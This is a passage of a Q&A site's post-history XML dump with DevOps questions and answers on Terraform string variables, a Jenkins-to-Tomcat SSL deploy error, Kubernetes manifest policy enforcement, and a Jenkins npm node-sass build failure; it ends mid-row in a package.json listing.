  <row Id="29197" PostHistoryTypeId="3" PostId="9752" RevisionGUID="7a737686-ec35-44f2-850a-3608d7550f99" CreationDate="2019-11-11T10:15:17.227" UserId="17276" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29201" PostHistoryTypeId="50" PostId="5840" RevisionGUID="f0c16b23-c157-4fb4-a1b6-896a9b1344d6" CreationDate="2019-11-11T12:00:45.220" UserId="-1" />
  <row Id="29206" PostHistoryTypeId="6" PostId="9735" RevisionGUID="6f3ad40a-2fb2-45f8-b638-31b1a12e2ad0" CreationDate="2019-11-11T13:07:58.360" UserId="17854" Comment="Neither existing tag was relevant" Text="&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29207" PostHistoryTypeId="24" PostId="9735" RevisionGUID="6f3ad40a-2fb2-45f8-b638-31b1a12e2ad0" CreationDate="2019-11-11T13:07:58.360" Comment="Proposed by 17854 approved by -1 edit id of 1118" ContentLicense="CC BY-SA 4.0" />
  <row Id="29208" PostHistoryTypeId="6" PostId="9735" RevisionGUID="a4ae4e6c-c8e9-4501-a121-aa6422751b25" CreationDate="2019-11-11T13:07:58.360" UserId="354" Comment="Neither existing tag was relevant" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29209" PostHistoryTypeId="2" PostId="9755" RevisionGUID="b34ca513-f1ca-477a-951e-d49037984938" CreationDate="2019-11-11T13:36:29.013" UserId="354" Text="[Terraform variable type constraints](https://www.terraform.io/docs/configuration/types.html) separate &quot;primitive&quot; types from &quot;complex&quot; types. These primitive types include strings:&#xD;&#xA;&#xD;&#xA;&gt; A primitive type is a simple type that isn't made from any other types. All primitive types in Terraform are represented by a type keyword. The available primitive types are:&#xD;&#xA;&#xD;&#xA;&gt;  -  string: a sequence of Unicode characters representing some text, such as &quot;hello&quot;.&#xD;&#xA;&gt;  -  number: a numeric value. The number type can represent both whole numbers like 15 and fractional values such as 6.283185.&#xD;&#xA;&gt;  -  bool: either true or false. bool values can be used in conditional logic.&#xD;&#xA;&#xD;&#xA;So, simply declaring the variable as a string, with the linebreaks in it would suffice." ContentLicense="CC BY-SA 4.0" />
  <row Id="29210" PostHistoryTypeId="2" PostId="9756" RevisionGUID="53d798bd-4e7d-431c-92ed-1415338c11bc" CreationDate="2019-11-11T14:09:40.857" UserId="18112" Text="I've been attempting to **build** and **deploy** a local copy of a repository, whilst still providing the remote depository to Jenkins, to a Tomcat version 9 server.&#xD;&#xA;&#xD;&#xA;I have both Jenkins and Tomcat running on different ports. &#xD;&#xA;&#xD;&#xA;I did get a handful of successful builds and deployments but I found that when I would visit my successful deployments via the Tomcat server, any page other than the home page of the build had a 404 error.&#xD;&#xA;&#xD;&#xA;I thought it was because the dependencies were absent because it was using Jenkins workspace instead of the local repository on my device, so after switching directories, I relieved the following error:&#xD;&#xA;&#xD;&#xA;    [INFO] BUILD SUCCESS&#xD;&#xA;    [INFO] ------------------------------------------------------------------------&#xD;&#xA;    [INFO] Total time:  10.906 s&#xD;&#xA;    [INFO] Finished at: 2019-11-07T14:11:59-05:00&#xD;&#xA;    [INFO] ------------------------------------------------------------------------&#xD;&#xA;    [DeployPublisher][INFO] Attempting to deploy 1 war file(s)&#xD;&#xA;    [DeployPublisher][INFO] Deploying C:\Users\(myusername)\Projects\ier_ui\target\derui.war to container Tomcat 9.x Remote with context derui&#xD;&#xA;    ERROR: Build step failed with exception&#xD;&#xA;    org.codehaus.cargo.container.ContainerException: Failed to redeploy [C:\Users\(myusername)\Projects\ier_ui\target\derui.war]&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:188)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1078)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1061)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;    	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:79)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1840)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;    Caused by: javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;    	at sun.security.ssl.InputRecord.handleUnknownRecord(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.InputRecord.read(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.readRecord(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsClient.afterConnect(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(Unknown Source)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;    	... 18 more&#xD;&#xA;    javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?&#xD;&#xA;    	at sun.security.ssl.InputRecord.handleUnknownRecord(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.InputRecord.read(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.readRecord(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.performInitialHandshake(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(Unknown Source)&#xD;&#xA;    	at sun.security.ssl.SSLSocketImpl.startHandshake(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsClient.afterConnect(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.AbstractDelegateHttpsURLConnection.connect(Unknown Source)&#xD;&#xA;    	at sun.net.www.protocol.https.HttpsURLConnectionImpl.connect(Unknown Source)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.invoke(TomcatManager.java:567)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.list(TomcatManager.java:882)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.TomcatManager.getStatus(TomcatManager.java:895)&#xD;&#xA;    	at org.codehaus.cargo.container.tomcat.internal.AbstractTomcatManagerDeployer.redeploy(AbstractTomcatManagerDeployer.java:169)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.deploy(CargoContainerAdapter.java:81)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:167)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter$DeployCallable.invoke(CargoContainerAdapter.java:136)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1078)&#xD;&#xA;    	at hudson.FilePath.act(FilePath.java:1061)&#xD;&#xA;    	at hudson.plugins.deploy.CargoContainerAdapter.redeployFile(CargoContainerAdapter.java:133)&#xD;&#xA;    	at hudson.plugins.deploy.PasswordProtectedAdapterCargo.redeployFile(PasswordProtectedAdapterCargo.java:95)&#xD;&#xA;    	at hudson.plugins.deploy.DeployPublisher.perform(DeployPublisher.java:113)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:79)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:741)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1840)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:429)&#xD;&#xA;    Build step 'Deploy war/ear to a container' marked build as failure&#xD;&#xA;    Finished: FAILURE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After struggling with this error for a couple days, I decided to completely delete and reinstall Jenkins and started from scratch. The reason I did this is because I wanted to get a successful build and start working from Jenkins Worksapce directory again, instead of my local repo, but even after the reinstall I have been getting the error which I thought was unique to me changing the workspace location.&#xD;&#xA;&#xD;&#xA;Any ideas what this might be due to? Perhaps access issues to the apache-tomcat folder? But even then, it was working before. Your insights would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Just to be clear, I do provide the correct credentials for Tomcat and my git repository platform. This include `manager-gui` and `manager-script` roles." ContentLicense="CC BY-SA 4.0" />
  <row Id="29211" PostHistoryTypeId="1" PostId="9756" RevisionGUID="53d798bd-4e7d-431c-92ed-1415338c11bc" CreationDate="2019-11-11T14:09:40.857" UserId="18112" Text="Jenkins Deployment Issue - Unrecognized SSL Message, Plaintext Connection?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29212" PostHistoryTypeId="3" PostId="9756" RevisionGUID="53d798bd-4e7d-431c-92ed-1415338c11bc" CreationDate="2019-11-11T14:09:40.857" UserId="18112" Text="&lt;jenkins&gt;&lt;git&gt;&lt;deployment&gt;&lt;ssl&gt;&lt;tomcat&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29217" PostHistoryTypeId="2" PostId="9758" RevisionGUID="fc7c2d85-e136-40b0-81a6-88aa0ef28556" CreationDate="2019-11-11T15:11:15.267" UserId="18112" Text="I realize it's because the link for tomcat I was deploying to was: http**s**://localhost:portNo, instead of simply, http://localhost:protNo" ContentLicense="CC BY-SA 4.0" />
  <row Id="29219" PostHistoryTypeId="5" PostId="9758" RevisionGUID="20197c22-23c8-4e92-91cb-40409dfdb08b" CreationDate="2019-11-11T15:21:18.707" UserId="354" Comment="Fixed formatting" Text="I realize it's because the link for tomcat I was deploying to was: `https://localhost:portNo`, instead of simply, `http://localhost:portNo`" ContentLicense="CC BY-SA 4.0" />
  <row Id="29227" PostHistoryTypeId="10" PostId="9735" RevisionGUID="56a03705-59a0-4757-b215-48d674e1076a" CreationDate="2019-11-11T18:22:41.823" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:397,&quot;DisplayName&quot;:&quot;Richard Slater&quot;},{&quot;Id&quot;:15792,&quot;DisplayName&quot;:&quot;Wesley Rolnick&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29231" PostHistoryTypeId="2" PostId="9760" RevisionGUID="10e0ede3-3d08-4fc1-addd-601fc36c7d39" CreationDate="2019-11-11T19:58:18.090" UserId="12955" Text="I have built a self-service platform based on Kubernetes, where we create namespaces for each team and allow them to 'do whatever they want within the namespace' (we set resource limits so no one can kill the whole cluster).&#xD;&#xA;&#xD;&#xA;However, now I want to implement some kind of standard across the organization. For example, I want every PodSpec to define its own resource limits, and I want every resource to have a label that specifies what application it belongs to.&#xD;&#xA;&#xD;&#xA;Is there a mechanism that will allow the API server to check the manifests being applied against a set of rules, and if it fails the check the manifest is rejected.&#xD;&#xA;&#xD;&#xA;For example, the following manifest would be rejected because it has neither a label nor are resource limits set.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: nginx-deployment&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: nginx&#xD;&#xA;  replicas: 2&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: nginx&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: nginx&#xD;&#xA;        image: nginx:1.7.9&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 80&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But the following manifest would succeed because it satisfies all the rules:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: nginx-deployment&#xD;&#xA;  &lt;b&gt;labels:&lt;/b&gt;&#xD;&#xA;    &lt;b&gt;app: foobar&lt;/b&gt;&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: nginx&#xD;&#xA;  replicas: 2&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: nginx&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: nginx&#xD;&#xA;        image: nginx:1.7.9&#xD;&#xA;        ports:&#xD;&#xA;        - containerPort: 80&#xD;&#xA;        &lt;b&gt;resources:&lt;/b&gt;&#xD;&#xA;          &lt;b&gt;limits:&lt;/b&gt;&#xD;&#xA;            &lt;b&gt;cpu: &quot;1&quot;&lt;/b&gt;&#xD;&#xA;          &lt;b&gt;requests:&lt;/b&gt;&#xD;&#xA;            &lt;b&gt;cpu: &quot;0.5&quot;&lt;/b&gt;&#xD;&#xA;&lt;/pre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29232" PostHistoryTypeId="1" PostId="9760" RevisionGUID="10e0ede3-3d08-4fc1-addd-601fc36c7d39" CreationDate="2019-11-11T19:58:18.090" UserId="12955" Text="How to enforce policies for manifests in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29233" PostHistoryTypeId="3" PostId="9760" RevisionGUID="10e0ede3-3d08-4fc1-addd-601fc36c7d39" CreationDate="2019-11-11T19:58:18.090" UserId="12955" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29237" PostHistoryTypeId="19" PostId="788" RevisionGUID="2d1e1f18-975d-44cb-9d15-6e9cc826fb33" CreationDate="2019-11-11T21:41:01.177" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29240" PostHistoryTypeId="2" PostId="9762" RevisionGUID="a75aabd2-237a-4300-a222-4acf47ded517" CreationDate="2019-11-12T02:19:16.000" UserId="11221" Text="I have a Jenkins build I am using for a Vue.js application. I am trying to install all dependancies as part of the pipeline and am running into some issues. I've included the below output as well as the npm install  part of my pipeline. &#xD;&#xA;&#xD;&#xA;error from below build step&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;+ npm install&#xD;&#xA;&gt; node-sass@4.12.0 install /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/install.js&#xD;&#xA;&#xD;&#xA;Downloading binary from https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&#xD;&#xA;Cannot download &quot;https://github.com/sass/node-sass/releases/download/v4.12.0/linux-x64-79_binding.node&quot;: &#xD;&#xA;&#xD;&#xA;HTTP error 404 Not Found&#xD;&#xA;&#xD;&#xA;Hint: If github.com is not accessible in your location&#xD;&#xA;      try setting a proxy via HTTP_PROXY, e.g. &#xD;&#xA;&#xD;&#xA;      export HTTP_PROXY=http://example.com:1234&#xD;&#xA;&#xD;&#xA;or configure npm proxy via&#xD;&#xA;&#xD;&#xA;      npm config set proxy http://example.com:8080&#xD;&#xA;&#xD;&#xA;&gt; node-sass@4.12.0 postinstall /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;&gt; node scripts/build.js&#xD;&#xA;&#xD;&#xA;Building: /var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node /var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js rebuild --verbose --libsass_ext= --libsass_cflags= --libsass_ldflags= --libsass_library=&#xD;&#xA;gyp info it worked if it ends with ok&#xD;&#xA;gyp verb cli [&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node',&#xD;&#xA;gyp verb cli   '/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js',&#xD;&#xA;gyp verb cli   'rebuild',&#xD;&#xA;gyp verb cli   '--verbose',&#xD;&#xA;gyp verb cli   '--libsass_ext=',&#xD;&#xA;gyp verb cli   '--libsass_cflags=',&#xD;&#xA;gyp verb cli   '--libsass_ldflags=',&#xD;&#xA;gyp verb cli   '--libsass_library='&#xD;&#xA;gyp verb cli ]&#xD;&#xA;gyp info using node-gyp@3.8.0&#xD;&#xA;gyp info using node@13.1.0 | linux | x64&#xD;&#xA;gyp verb command rebuild []&#xD;&#xA;gyp verb command clean []&#xD;&#xA;gyp verb clean removing &quot;build&quot; directory&#xD;&#xA;gyp verb command configure []&#xD;&#xA;gyp verb check python checking for Python executable &quot;python2&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python2 Error: not found: python2&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python2\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp verb check python checking for Python executable &quot;python&quot; in the PATH&#xD;&#xA;gyp verb `which` failed Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp verb `which` failed  python Error: not found: python&#xD;&#xA;gyp verb `which` failed     at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)&#xD;&#xA;gyp verb `which` failed     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)&#xD;&#xA;gyp verb `which` failed     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp verb `which` failed     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp verb `which` failed     at FSReqCallback.oncomplete (fs.js:158:21) {&#xD;&#xA;gyp verb `which` failed   stack: 'Error: not found: python\n' +&#xD;&#xA;gyp verb `which` failed     '    at getNotFoundError (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:13:12)\n' +&#xD;&#xA;gyp verb `which` failed     '    at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:19)\n' +&#xD;&#xA;gyp verb `which` failed     '    at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5\n' +&#xD;&#xA;gyp verb `which` failed     '    at FSReqCallback.oncomplete (fs.js:158:21)',&#xD;&#xA;gyp verb `which` failed   code: 'ENOENT'&#xD;&#xA;gyp verb `which` failed }&#xD;&#xA;gyp ERR! configure error &#xD;&#xA;gyp ERR! stack Error: Can't find Python executable &quot;python&quot;, you can set the PYTHON env variable.&#xD;&#xA;gyp ERR! stack     at PythonFinder.failNoPython (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:484:19)&#xD;&#xA;gyp ERR! stack     at PythonFinder.&lt;anonymous&gt; (/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/lib/configure.js:406:16)&#xD;&#xA;gyp ERR! stack     at F (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:68:16)&#xD;&#xA;gyp ERR! stack     at E (/var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:80:29)&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/which/which.js:89:16&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/index.js:42:5&#xD;&#xA;gyp ERR! stack     at /var/lib/jenkins/workspace/Deploy UI/node_modules/isexe/mode.js:8:5&#xD;&#xA;gyp ERR! stack     at FSReqCallback.oncomplete (fs.js:158:21)&#xD;&#xA;gyp ERR! System Linux 4.15.0-1052-aws&#xD;&#xA;gyp ERR! command &quot;/var/lib/jenkins/tools/jenkins.plugins.nodejs.tools.NodeJSInstallation/UI/bin/node&quot; &quot;/var/lib/jenkins/workspace/Deploy UI/node_modules/node-gyp/bin/node-gyp.js&quot; &quot;rebuild&quot; &quot;--verbose&quot; &quot;--libsass_ext=&quot; &quot;--libsass_cflags=&quot; &quot;--libsass_ldflags=&quot; &quot;--libsass_library=&quot;&#xD;&#xA;gyp ERR! cwd /var/lib/jenkins/workspace/Deploy UI/node_modules/node-sass&#xD;&#xA;gyp ERR! node -v v13.1.0&#xD;&#xA;gyp ERR! node-gyp -v v3.8.0&#xD;&#xA;gyp ERR! not ok &#xD;&#xA;Build failed with error code: 1&#xD;&#xA;npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@1.2.9 (node_modules/fsevents):&#xD;&#xA;npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for fsevents@1.2.9: wanted {&quot;os&quot;:&quot;darwin&quot;,&quot;arch&quot;:&quot;any&quot;} (current: {&quot;os&quot;:&quot;linux&quot;,&quot;arch&quot;:&quot;x64&quot;})&#xD;&#xA;&#xD;&#xA;npm ERR! code ELIFECYCLE&#xD;&#xA;npm ERR! errno 1&#xD;&#xA;npm ERR! node-sass@4.12.0 postinstall: `node scripts/build.js`&#xD;&#xA;npm ERR! Exit status 1&#xD;&#xA;npm ERR! &#xD;&#xA;npm ERR! Failed at the node-sass@4.12.0 postinstall script.&#xD;&#xA;npm ERR! This is probably not a problem with npm. There is likely additional logging output above.&#xD;&#xA;&#xD;&#xA;npm ERR! A complete log of this run can be found in:&#xD;&#xA;npm ERR!     /var/lib/jenkins/workspace/Deploy UI/.npm/_logs/2019-11-12T02_15_01_035Z-debug.log&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;package.json&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&quot;dependencies&quot;: {&#xD;&#xA;    &quot;@agametov/vueditor&quot;: &quot;^0.4.1&quot;,&#xD;&#xA;    &quot;@chenfengyuan/vue-countdown&quot;: &quot;^1.1.2&quot;,&#xD;&#xA;    &quot;apexcharts&quot;: &quot;^3.8.3&quot;,&#xD;&#xA;    &quot;axios&quot;: &quot;^0.19.0&quot;,&#xD;&#xA;    &quot;bootstrap&quot;: &quot;^4.3.1&quot;,&#xD;&#xA;    &quot;bootstrap-social&quot;: &quot;^5.1.1&quot;,&#xD;&#xA;    &quot;bootstrap-vue&quot;: &quot;^2.0.0-rc.27&quot;,&#xD;&#xA;    &quot;chart.js&quot;: &quot;^2.8.0&quot;,&#xD;&#xA;    &quot;flag-icon-css&quot;: &quot;^3.3.0&quot;,&#xD;&#xA;    &quot;ionicons&quot;: &quot;^4.6.2&quot;,&#xD;&#xA;    &quot;moment&quot;: &quot;^2.24.0&quot;,&#xD;&#xA;    &quot;node-sass&quot;: &quot;^4.12.0&quot;,&#xD;&#xA;    &quot;sass-loader&quot;: &quot;^7.1.0&quot;,&#xD;&#xA;    &quot;simple-line-icons&quot;: &quot;^2.4.1&quot;,&#xD;&#xA;    &quot;v-autocomplete&quot;: &quot;^1.8.2&quot;,&#xD;&#xA;    &quot;vue&quot;: &quot;^2.6.10&quot;,&#xD;&#xA;    &quot;vue-apexcharts&quot;: &quot;^1.4.0&quot;,&#xD;&#xA;    &quot;vue-bootstrap-datetimepicker&quot;: &quot;^5.0.1&quot;,&#xD;&#xA;    &quot;vue-chartjs&quot;: &quot;^3.4.2&quot;,&#xD;&#xA;    &quot;vue-custom-scrollbar&quot;: 